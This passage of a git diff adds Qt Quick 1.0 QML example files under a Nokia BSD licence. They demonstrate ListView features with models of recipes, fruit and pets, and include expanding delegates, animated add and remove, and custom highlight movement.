+ loops: Animation.Infinite
+ ScriptAction { script: container.clicked() }
+ PauseAnimation { duration: repeatDuration }
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+
+ onPressed: autoRepeatClicks.start()
+ onReleased: container.release()
+ onCanceled: container.release()
+ }
+}
+
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/RecipesModel.qml b/examples/declarative/modelviews/listview/sections/qml/sections/content/RecipesModel.qml
new file mode 100644
index 00000000..83baeee8
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/RecipesModel.qml
@@ -0,0 +1,129 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+ListModel {
+ ListElement {
+ title: "Pancakes"
+ picture: "content/pics/pancakes.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 1 cup (150g) self-raising flour
+ <li> 1 tbs caster sugar
+ <li> 3/4 cup (185ml) milk
+ <li> 1 egg
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Sift flour and sugar together into a bowl. Add a pinch of salt.
+ <li> Beat milk and egg together, then add to dry ingredients. Beat until smooth.
+ <li> Pour mixture into a pan on medium heat and cook until bubbles appear on the surface.
+ <li> Turn over and cook other side until golden.
+ </ol>
+ </html>"
+ }
+ ListElement {
+ title: "Fruit Salad"
+ picture: "content/pics/fruit-salad.jpg"
+ ingredients: "* Seasonal Fruit"
+ method: "* Chop fruit and place in a bowl."
+ }
+ ListElement {
+ title: "Vegetable Soup"
+ picture: "content/pics/vegetable-soup.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 1 onion
+ <li> 1 turnip
+ <li> 1 potato
+ <li> 1 carrot
+ <li> 1 head of celery
+ <li> 1 1/2 litres of water
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Chop vegetables.
+ <li> Boil in water until vegetables soften.
+ <li> Season with salt and pepper to taste.
+ </ol>
+ </html>"
+ }
+ ListElement {
+ title: "Hamburger"
+ picture: "content/pics/hamburger.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 500g minced beef
+ <li> Seasoning
+ <li> lettuce, tomato, onion, cheese
+ <li> 1 hamburger bun for each burger
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Mix the beef, together with seasoning, in a food processor.
+ <li> Shape the beef into burgers.
+ <li> Grill the burgers for about 5 mins on each side (until cooked through)
+ <li> Serve each burger on a bun with ketchup, cheese, lettuce, tomato and onion.
+ </ol>
+ </html>"
+ }
+ ListElement {
+ title: "Lemonade"
+ picture: "content/pics/lemonade.jpg"
+ ingredients: "<html>
+ <ul>
+ <li> 1 cup Lemon Juice
+ <li> 1 cup Sugar
+ <li> 6 Cups of Water (2 cups warm water, 4 cups cold water)
+ </ul>
+ </html>"
+ method: "<html>
+ <ol>
+ <li> Pour 2 cups of warm water into a pitcher and stir in sugar until it dissolves.
+ <li> Pour in lemon juice, stir again, and add 4 cups of cold water.
+ <li> Chill or serve over ice cubes.
+ </ol>
+ </html>"
+ }
+}
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/TextButton.qml b/examples/declarative/modelviews/listview/sections/qml/sections/content/TextButton.qml
new file mode 100644
index 00000000..bc684dc1
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/TextButton.qml
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+
+ property alias text: label.text
+
+ signal clicked
+
+ width: label.width + 20; height: label.height + 6
+ smooth: true
+ radius: 10
+
+ gradient: Gradient {
+ GradientStop { id: gradientStop; position: 0.0; color: palette.light }
+ GradientStop { position: 1.0; color: palette.button }
+ }
+
+ SystemPalette { id: palette }
+
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: { container.clicked() }
+ }
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ }
+
+ states: State {
+ name: "pressed"
+ when: mouseArea.pressed
+ PropertyChanges { target: gradientStop; color: palette.dark }
+ }
+}
+
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/arrow-down.png b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/arrow-down.png
new file mode 100644
index 00000000..29d1d443
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/arrow-down.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/arrow-up.png b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/arrow-up.png
new file mode 100644
index 00000000..e4373122
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/arrow-up.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/fruit-salad.jpg b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/fruit-salad.jpg
new file mode 100644
index 00000000..da5a6b10
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/fruit-salad.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/hamburger.jpg b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/hamburger.jpg
new file mode 100644
index 00000000..d0a15be1
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/hamburger.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/lemonade.jpg b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/lemonade.jpg
new file mode 100644
index 00000000..db445c9a
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/lemonade.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/list-delete.png b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/list-delete.png
new file mode 100644
index 00000000..df2a147d
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/list-delete.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/minus-sign.png b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/minus-sign.png
new file mode 100644
index 00000000..d6f233d7
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/minus-sign.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/moreDown.png b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/moreDown.png
new file mode 100644
index 00000000..31a35d5c
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/moreDown.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/moreUp.png b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/moreUp.png
new file mode 100644
index 00000000..fefb9c90
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/moreUp.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/pancakes.jpg b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/pancakes.jpg
new file mode 100644
index 00000000..60c43963
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/pancakes.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/plus-sign.png b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/plus-sign.png
new file mode 100644
index 00000000..40df1134
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/plus-sign.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/vegetable-soup.jpg b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/vegetable-soup.jpg
new file mode 100644
index 00000000..9dce3320
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/content/pics/vegetable-soup.jpg
Binary files differ
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/dynamiclist.qml b/examples/declarative/modelviews/listview/sections/qml/sections/dynamiclist.qml
new file mode 100644
index 00000000..0144b0d6
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/dynamiclist.qml
@@ -0,0 +1,203 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+import "content"
+
+// This example shows how items can be dynamically added to and removed from
+// a ListModel, and how these list modifications can be animated.
+
+Rectangle {
+ id: container
+ width: 500; height: 400
+ color: "#343434"
+
+ // The model:
+ ListModel {
+ id: fruitModel
+
+ ListElement {
+ name: "Apple"; cost: 2.45
+ attributes: [
+ ListElement { description: "Core" },
+ ListElement { description: "Deciduous" }
+ ]
+ }
+ ListElement {
+ name: "Banana"; cost: 1.95
+ attributes: [
+ ListElement { description: "Tropical" },
+ ListElement { description: "Seedless" }
+ ]
+ }
+ ListElement {
+ name: "Cumquat"; cost: 3.25
+ attributes: [
+ ListElement { description: "Citrus" }
+ ]
+ }
+ ListElement {
+ name: "Durian"; cost: 9.95
+ attributes: [
+ ListElement { description: "Tropical" },
+ ListElement { description: "Smelly" }
+ ]
+ }
+ }
+
+ // The delegate for each fruit in the model:
+ Component {
+ id: listDelegate
+
+ Item {
+ id: delegateItem
+ width: listView.width; height: 55
+ clip: true
+
+ Row {
+ anchors.verticalCenter: parent.verticalCenter
+ spacing: 10
+
+ Column {
+ Image {
+ source: "content/pics/arrow-up.png"
+ MouseArea { anchors.fill: parent; onClicked: fruitModel.move(index, index-1, 1) }
+ }
+ Image { source: "content/pics/arrow-down.png"
+ MouseArea { anchors.fill: parent; onClicked: fruitModel.move(index, index+1, 1) }
+ }
+ }
+
+ Column {
+ anchors.verticalCenter: parent.verticalCenter
+
+ Text {
+ text: name
+ font.pixelSize: 15
+ color: "white"
+ }
+ Row {
+ spacing: 5
+ Repeater {
+ model: attributes
+ Text { text: description; color: "White" }
+ }
+ }
+ }
+ }
+
+ Row {
+ anchors.verticalCenter: parent.verticalCenter
+ anchors.right: parent.right
+ spacing: 10
+
+ PressAndHoldButton {
+ anchors.verticalCenter: parent.verticalCenter
+ source: "content/pics/plus-sign.png"
+ onClicked: fruitModel.setProperty(index, "cost", cost + 0.25)
+ }
+
+ Text {
+ id: costText
+ anchors.verticalCenter: parent.verticalCenter
+ text: '$' + Number(cost).toFixed(2)
+ font.pixelSize: 15
+ color: "white"
+ font.bold: true
+ }
+
+ PressAndHoldButton {
+ anchors.verticalCenter: parent.verticalCenter
+ source: "content/pics/minus-sign.png"
+ onClicked: fruitModel.setProperty(index, "cost", Math.max(0,cost-0.25))
+ }
+
+ Image {
+ source: "content/pics/list-delete.png"
+ MouseArea { anchors.fill:parent; onClicked: fruitModel.remove(index) }
+ }
+ }
+
+ // Animate adding and removing of items:
+
+ ListView.onAdd: SequentialAnimation {
+ PropertyAction { target: delegateItem; property: "height"; value: 0 }
+ NumberAnimation { target: delegateItem; property: "height"; to: 55; duration: 250; easing.type: Easing.InOutQuad }
+ }
+
+ ListView.onRemove: SequentialAnimation {
+ PropertyAction { target: delegateItem; property: "ListView.delayRemove"; value: true }
+ NumberAnimation { target: delegateItem; property: "height"; to: 0; duration: 250; easing.type: Easing.InOutQuad }
+
+ // Make sure delayRemove is set back to false so that the item can be destroyed
+ PropertyAction { target: delegateItem; property: "ListView.delayRemove"; value: false }
+ }
+ }
+ }
+
+ // The view:
+ ListView {
+ id: listView
+ anchors.fill: parent; anchors.margins: 20
+ model: fruitModel
+ delegate: listDelegate
+ }
+
+ Row {
+ anchors { left: parent.left; bottom: parent.bottom; margins: 20 }
+ spacing: 10
+
+ TextButton {
+ text: "Add an item"
+ onClicked: {
+ fruitModel.append({
+ "name": "Pizza Margarita",
+ "cost": 5.95,
+ "attributes": [{"description": "Cheese"}, {"description": "Tomato"}]
+ })
+ }
+ }
+
+ TextButton {
+ text: "Remove all items"
+ onClicked: fruitModel.clear()
+ }
+ }
+}
+
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/expandingdelegates.qml b/examples/declarative/modelviews/listview/sections/qml/sections/expandingdelegates.qml
new file mode 100644
index 00000000..152086cb
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/expandingdelegates.qml
@@ -0,0 +1,202 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+// This example illustrates expanding a list item to show a more detailed view.
+
+Rectangle {
+ id: page
+ width: 400; height: 240
+ color: "black"
+
+ // Delegate for the recipes. This delegate has two modes:
+ // 1. List mode (default), which just shows the picture and title of the recipe.
+ // 2. Details mode, which also shows the ingredients and method.
+ Component {
+ id: recipeDelegate
+
+ Item {
+ id: recipe
+
+ // Create a property to contain the visibility of the details.
+ // We can bind multiple element's opacity to this one property,
+ // rather than having a "PropertyChanges" line for each element we
+ // want to fade.
+ property real detailsOpacity : 0
+
+ width: listView.width
+ height: 70
+
+ // A simple rounded rectangle for the background
+ Rectangle {
+ id: background
+ x: 2; y: 2; width: parent.width - x*2; height: parent.height - y*2
+ color: "ivory"
+ border.color: "orange"
+ radius: 5
+ }
+
+ // This mouse region covers the entire delegate.
+ // When clicked it changes mode to 'Details'. If we are already
+ // in Details mode, then no change will happen.
+ MouseArea {
+ anchors.fill: parent
+ onClicked: recipe.state = 'Details';
+ }
+
+ // Lay out the page: picture, title and ingredients at the top, and method at the
+ // bottom. Note that elements that should not be visible in the list
+ // mode have their opacity set to recipe.detailsOpacity.
+ Row {
+ id: topLayout
+ x: 10; y: 10; height: recipeImage.height; width: parent.width
+ spacing: 10
+
+ Image {
+ id: recipeImage
+ width: 50; height: 50
+ source: picture
+ }
+
+ Column {
+ width: background.width - recipeImage.width - 20; height: recipeImage.height
+ spacing: 5
+
+ Text {
+ text: title
+ font.bold: true; font.pointSize: 16
+ }
+
+ Text {
+ text: "Ingredients"
+ font.pointSize: 12; font.bold: true
+ opacity: recipe.detailsOpacity
+ }
+
+ Text {
+ text: ingredients
+ wrapMode: Text.WordWrap
+ width: parent.width
+ opacity: recipe.detailsOpacity
+ }
+ }
+ }
+
+ Item {
+ id: details
+ x: 10; width: parent.width - 20
+ anchors { top: topLayout.bottom; topMargin: 10; bottom: parent.bottom; bottomMargin: 10 }
+ opacity: recipe.detailsOpacity
+
+ Text {
+ id: methodTitle
+ anchors.top: parent.top
+ text: "Method"
+ font.pointSize: 12; font.bold: true
+ }
+
+ Flickable {
+ id: flick
+ width: parent.width
+ anchors { top: methodTitle.bottom; bottom: parent.bottom }
+ contentHeight: methodText.height
+ clip: true
+
+ Text { id: methodText; text: method; wrapMode: Text.WordWrap; width: details.width }
+ }
+
+ Image {
+ anchors { right: flick.right; top: flick.top }
+ source: "content/pics/moreUp.png"
+ opacity: flick.atYBeginning ? 0 : 1
+ }
+
+ Image {
+ anchors { right: flick.right; bottom: flick.bottom }
+ source: "content/pics/moreDown.png"
+ opacity: flick.atYEnd ? 0 : 1
+ }
+ }
+
+ // A button to close the detailed view, i.e. set the state back to default ('').
+ TextButton {
+ y: 10
+ anchors { right: background.right; rightMargin: 10 }
+ opacity: recipe.detailsOpacity
+ text: "Close"
+
+ onClicked: recipe.state = '';
+ }
+
+ states: State {
+ name: "Details"
+
+ PropertyChanges { target: background; color: "white" }
+ PropertyChanges { target: recipeImage; width: 130; height: 130 } // Make picture bigger
+ PropertyChanges { target: recipe; detailsOpacity: 1; x: 0 } // Make details visible
+ PropertyChanges { target: recipe; height: listView.height } // Fill the entire list area with the detailed view
+
+ // Move the list so that this item is at the top.
+ PropertyChanges { target: recipe.ListView.view; explicit: true; contentY: recipe.y }
+
+ // Disallow flicking while we're in detailed view
+ PropertyChanges { target: recipe.ListView.view; interactive: false }
+ }
+
+ transitions: Transition {
+ // Make the state changes smooth
+ ParallelAnimation {
+ ColorAnimation { property: "color"; duration: 500 }
+ NumberAnimation { duration: 300; properties: "detailsOpacity,x,contentY,height,width" }
+ }
+ }
+ }
+ }
+
+ // The actual list
+ ListView {
+ id: listView
+ anchors.fill: parent
+ model: RecipesModel {}
+ delegate: recipeDelegate
+ }
+}
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/highlight.qml b/examples/declarative/modelviews/listview/sections/qml/sections/highlight.qml
new file mode 100644
index 00000000..ebce5e34
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/highlight.qml
@@ -0,0 +1,99 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// This example shows how to create your own highlight delegate for a ListView
+// that uses a SpringAnimation to provide custom movement when the
+// highlight bar is moved between items.
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ width: 200; height: 300
+
+ // Define a delegate component. A component will be
+ // instantiated for each visible item in the list.
+ Component {
+ id: petDelegate
+ Item {
+ id: wrapper
+ width: 200; height: 55
+ Column {
+ Text { text: 'Name: ' + name }
+ Text { text: 'Type: ' + type }
+ Text { text: 'Age: ' + age }
+ }
+ // indent the item if it is the current item
+ states: State {
+ name: "Current"
+ when: wrapper.ListView.isCurrentItem
+ PropertyChanges { target: wrapper; x: 20 }
+ }
+ transitions: Transition {
+ NumberAnimation { properties: "x"; duration: 200 }
+ }
+ }
+ }
+
+ // Define a highlight with customised movement between items.
+ Component {
+ id: highlightBar
+ Rectangle {
+ width: 200; height: 50
+ color: "#FFFF88"
+ y: listView.currentItem.y;
+ Behavior on y { SpringAnimation { spring: 2; damping: 0.1 } }
+ }
+ }
+
+ ListView {
+ id: listView
+ width: 200; height: parent.height
+
+ model: PetsModel {}
+ delegate: petDelegate
+ focus: true
+
+ // Set the highlight delegate. Note we must also set highlightFollowsCurrentItem
+ // to false so the highlight delegate can control how the highlight is moved.
+ highlight: highlightBar
+ highlightFollowsCurrentItem: false
+ }
+}
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/highlightranges.qml b/examples/declarative/modelviews/listview/sections/qml/sections/highlightranges.qml
new file mode 100644
index 00000000..eda6056b
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/highlightranges.qml
@@ -0,0 +1,122 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: root
+ property int current: 0
+ width: 600; height: 300
+
+ // This example shows the same model in three different ListView items,
+ // with different highlight ranges. The highlight ranges are set by the
+ // preferredHighlightBegin and preferredHighlightEnd properties in ListView.
+ //
+ // The first ListView does not set a highlight range, so its currentItem
+ // can move freely within the visible area. If it moves outside the
